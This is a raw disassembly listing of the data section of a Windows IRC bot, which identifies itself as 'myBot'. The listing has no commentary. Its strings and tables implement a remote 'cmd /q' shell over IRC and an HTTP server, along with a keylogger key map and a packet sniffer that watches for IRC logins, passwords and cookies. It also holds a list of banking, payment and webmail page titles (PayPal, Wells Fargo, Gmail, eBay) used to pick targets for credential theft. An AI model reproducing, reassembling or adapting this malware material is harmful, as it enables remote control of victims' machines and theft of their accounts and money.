		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C1C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C54	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C88:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435130	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435174	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351DC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435224	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435264	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4352A8	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352D4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_435300	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43533C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435368	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435394	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435530	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435564	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4355AC	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355D4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435614	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435654	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435694	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435858	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; С
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436458	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BC4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374D0
		dd offset off_4374CC
		dd offset off_4374C8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C64o
		align 4
off_4374C8	dd offset word_505446	; DATA XREF: ___:00436C60o
off_4374CC	dd offset aFailedToSta_36+15h ;	DATA XREF: ___:00436C5Co
off_4374D0	dd offset word_544F42	; DATA XREF: ___:00436C58o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
